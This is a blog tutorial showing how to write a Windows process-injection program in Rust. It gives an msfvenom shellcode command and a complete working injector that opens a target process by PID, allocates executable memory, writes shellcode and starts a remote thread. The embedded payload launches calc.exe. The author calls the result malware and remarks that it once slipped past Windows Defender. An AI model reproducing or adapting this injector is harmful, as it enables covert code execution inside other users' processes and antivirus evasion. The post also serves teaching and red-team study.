Process Injection

Simple Process Injection in Rust

Overview

Well, I finally did my Rust blog, I was wondering what to do and thought of doing something which I have already talked about so that the reader (you) may be able to see the difference b/w coding in Rust and coding in C and as much as I love C, we will see how Rust makes things soo much easier. Please note that I am still learning Rust and so if I did a mistake or did something in a very "inefficient" manner, please feel free to reach me out on twitter. I'll mainly use VSCode for writing Rust.

Process Injection

Alright, we will start by creating a new project first, I won't be talking about how to install & setup Rust. We can type cargo new malrust to create a new project / directory with that name. The structure would be something like this

 - malrust
 | - Cargo.toml
 | - src
    | - main.rs

Well, to have access to the Windows API, we might need to add a crate to our program, now there are 2 different crate to do the job, windows and winapi, after some googling it seems that winapi was created by WindowsBunny (gigachad) and it feel similar to working with C++ whereas the windows crate is something done by microsoft, so it's official and feels more like Rust, but has some bugs and still seems to be incomplete than winapi, also it seems that winapi is more popular and has more downloads, hence for now I'll stick with winapi.

Generating Shellcode

msfvenom -p windows/x64/exec CMD="calc.exe" -f rust

Handling Imports

we can type cargo add windowsto include the windows crate, of course this command should be in the same directory as the project. we can start typing our code in src/main.rs file. To import the necessary Windows API, we can change our Cargo.toml file and add the features we need. The file would look something like this

[dependencies]
windows = "0.59.0"
# Change this to 
# windows = { version="0.59.0", features=["Win32_System_Threading"] }

By default, when we import the crate, we don't include all of the features of it, and so to get some of the features, we have to let the compiler know it by updating our Cargo.toml file. For eg, I want to use the OpenProcess API, which is not available by default, so I can check this Microsoft website to check what features shall I include to be able to access the OpenProcess API which in this case is the Win32_System_Threading. Likewise, we can search for the API used in Process Injection and get the necessary features.

OpenProcess           -    Win32_System_Threading
VirtualAllocEx        -    Win32_System_Memory
WriteProcessMemory    -    Win32_System_Diagnostics_Debug  
CreateRemoteThread    -    Win32_System_Threading, Win32_Security
GetLastError          -    Win32_Foundation
CloseHandle           -    Win32_Foundation

// The site shows empty feature for most of the Foundation APIs,
// this is because they are included by default and thus
// we can ignore specifying this feature and still import them
// Thanks to @WithinRafael (cool guy) who notified me :)

After all of this, the dependency should look something like this 
windows = { version="0.59.0", features=["Win32_System_Threading", "Win32_System_Memory", "Win32_System_Diagnostics_Debug", "Win32_Security" ] }

Now that we have the necessary features, let's import those functions, this is also displayed on the website

we can import GetLastError by typing use Windows::Win32::Foundation::GetLastError Although, we can import everything under the Foundation module by having Foundation::* but why import the things which we don't have use for? and this is one of the cool things I like about Rust. This should look something like this

#![allow(warnings)]

use windows::Win32::{
    Foundation::GetLastError,
    System::{
        Threading::{OpenProcess, CreateRemoteThread},
        Memory::VirtualAllocEx,
        Diagnostics::Debug::WriteProcessMemory,
    },
};

The #![allow(warnings)] is so that the compiler doesn't show you warnings for whatever reason, The compiler warns us about the "bad" code which might lead to unnecessary bugs. Initially this becomes annoying but later on, you would realize how great of a feature this is.

Alright, so let's start with the main function, first things first, we will get an argument to the binary which will be the id of the Process to Inject. Although it's fairly simple to enumerate all processes and inject into one by their name, I will keep the latter for part 2 maybe. Rust has a great doc which talks about most of the stuff and how to do it.

Parsing Arguments

    let args: Vec<_> = std::env::args().collect();
    if args.len() > 2 {
        println!("Ignoring {} extra args", args.len() - 2);
        println!("[*] Usage: {} <PID>", args[0]);
    }

A Vector in rust is similar to that of C++, think of it as an array which is allowed to grow / shrink in size. An _ just means that we let the compiler infer what will be the data type of the arguments or when we can ignore it. But since we want to have an integer as our first argument, we can convert it to an integer and handle the case accordingly.

let pid: u32 = args[1].parse().expect("Please provide a valid integer");

Now we can open a handle to the process and use an if let expression to handle the Result in Rust. Since Rust considers these to be unsafe (winapi) , it is important for us to call these inside an unsafe block, else the compiler will show an error.

Get Handle to Process

unsafe {
        // you might have to import PROCESS_ALL_ACCESS as well
        // hProcess is of type Result
        let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if let Ok(hProcess) = hProcess {
            println!("Opened Handle: {:?}", hProcess);
            // do stuff
            CloseHandle(hProcess);
        }
        else {
            let err_code = GetLastError();
            println!("Failed to get Handle : {:?}", err_code);
        }
    }

we might have to import PROCESS_ALL_ACCESS which can be imported under the same module as the function was imported (this should be the case for most of the parameters). Then we just have to Allocate memory in the process and write our shellcode to it.

Allocate Memory for Shellcode

let shell_size = shellcode.len();
let buf = VirtualAllocEx(hProcess, Some(null()), shell_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if buf.is_null() {
    eprintln!("VirtualAlloc Failed : {:?}", GetLastError());
    std::process::exit(2);
}
println!("Allocated Memory for shellcode");

We might have to import the null() & null_mut() from std::ptr crate and also the MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE from the same crate as the function VirtualAllocEx. We can see the function definition in VSCode if we hover over the function.

Some & Option in Rust

Due to the way the function is defined, I had to use Some() to wrap the null() which didn't make much sense to me. But think of Some as it either has Some value or None. It is a variant of the Option type in Rust. Quoting the rust document

The problem with null values is that if you try to use a null value as a not-null value, you’ll get an error of some kind. Because this null or not-null property is pervasive, it’s extremely easy to make this kind of error.

So the Option is used to include the scenario in which the variable would not have any value , aka null. Rust forces you to handle the cases where the variable could potentially be null and thereby avoid any kind of bugs related to it.

Result & Enums in Rust

The Result is an enum in rust and it has 2 outcomes. either it passes Ok(T) or it fails with an Err(E) and whenever we have a type of Result, it's our duty to handle both of the outcomes. In general, an enum is when a variable can have any value of different types. So like if there's an enum of type IP Address, It can have both the IPV4 and IPV6 which would be of 2 different types (assume) and since we don't know what type are we going to handle, we use an enum instead and handle both of the values accordingly.

Write Shellcode to Allocated Memory

Ok back to process injection, now we have to write the shellcode into the process memory.

let status_write = WriteProcessMemory(hProcess, buf, shellcode.as_ptr() as *const c_void, shell_size, Some(null_mut()));
if status_write.is_err() {
        eprintln!("Error Writing shellcode to Memory: {:?}", GetLastError());
        std::process::exit(3);
}
println!("Written shellcode to process");

I had some trouble while writing this piece of code, because the shellcode should be of type *const c_void but we had defined a vector shellcode, so after some research, I did it by changing that to a pointer and from that to *const c_void. Note that we have to import c_void from std::mem. Then finally creating the thread to run our shellcode.

Create Remote Thread for Shellcode

let hThread = CreateRemoteThread(hProcess, None, 0, transmute(buf), None, 0, None);
if let Ok(hThread) = hThread {
    println!("Created Remote Thread : {:?}", hThread);
} else {
    eprintln!("Error Creating Remote Thread: {:?}", GetLastError());
    std::process::exit(4);
}

Transmute in Rust

Transmute is a function in Rust which allows to re-interpret the variable into another type (in an unsafe way). In our case, it converts the buf variable to what is expected by the CreateRemoteThread function which is LPTHREAD_START_ROUTINE. So we try tell the compiler that this buf should be treated as a function pointer which it does and we finally see our calc popping out.

Full Code & Output

#![allow(warnings)]

use windows::Win32::{
    Foundation::{CloseHandle, GetLastError},
    System::{
        Diagnostics::Debug::WriteProcessMemory, 
        Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, 
        Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS},
    },
};

use std::{
    os::raw::c_void, 
    ptr::{null, null_mut},
    mem::transmute,
};

fn main() {

    let shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
    0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
    0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
    0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
    0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
    0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
    0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
    0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
    0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
    0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
    0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
    0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
    0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
    0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
    0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
    0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
    0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
    0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
    0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
    0x2e,0x65,0x78,0x65,0x00];

    let args: Vec<_> = std::env::args().collect();
    if args.len() > 2 {
        println!("Ignoring {} extra args", args.len() - 2);
        println!("[*] Usage: {} <PID>", args[0]);
    }
    let pid: u32 = args[1].parse().expect("Please provide a valid integer");
    let shell_size = shellcode.len();

    unsafe {
        let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if let Ok(hProcess) = hProcess {
            println!("Opened Handle: {:?}", hProcess);
            
            let buf = VirtualAllocEx(hProcess, Some(null()), shell_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if buf.is_null() {
                eprintln!("VirtualAlloc Failed : {:?}", GetLastError());
                std::process::exit(2);
            }
            println!("Allocated Memory for shellcode");
            
            let status_write = WriteProcessMemory(hProcess, buf, shellcode.as_ptr() as *const c_void, shell_size, Some(null_mut()));
            if status_write.is_err() {
                eprintln!("Error Writing shellcode to Memory: {:?}", GetLastError());
                std::process::exit(3);
            }
            println!("Written shellcode to process");

            let hThread = CreateRemoteThread(hProcess, None, 0, transmute(buf), None, 0, None);
            if let Ok(hThread) = hThread {
                println!("Created Remote Thread : {:?}", hThread);
            } else {
                eprintln!("Error Creating Remote Thread: {:?}", GetLastError());
                std::process::exit(4);
            }

            CloseHandle(hProcess);
        }
        else {
            let err_code = GetLastError();
            println!("Failed to get Handle : {:?}", err_code);
        }
    }
}

we can access the binary at target\debug\malrust.exe , the binary name is generally <project>.exe . During my writing of this small piece of malware, I did notice I was able to run it without triggering the defender at a point(which I forgot where it was), not sure why since we are using msfvenom payload (heavily signatured by AV), but I couldn't reproduce the behavior.

Final Thoughts

I initially was thinking to include all the 3 (Process Injection, NTAPI, APC Injection) but it seems that this has been too long and I don't want to have a really lengthy page so I'll keep those for some other day. Rust is a great language and I do understand that learning it does take some time, but once you get the hang of it, it becomes really amazing. I'll later have a post on Reversing the malware (Process Injection) in Rust & C. Rust binaries are generally a bit more annoying to reverse and we'll see that in some other post. If you understood, or if you feel like I could have written something in a better way, please feel free to reach me out on twitter. Thanks, ciao.

References

Last updated

Was this helpful?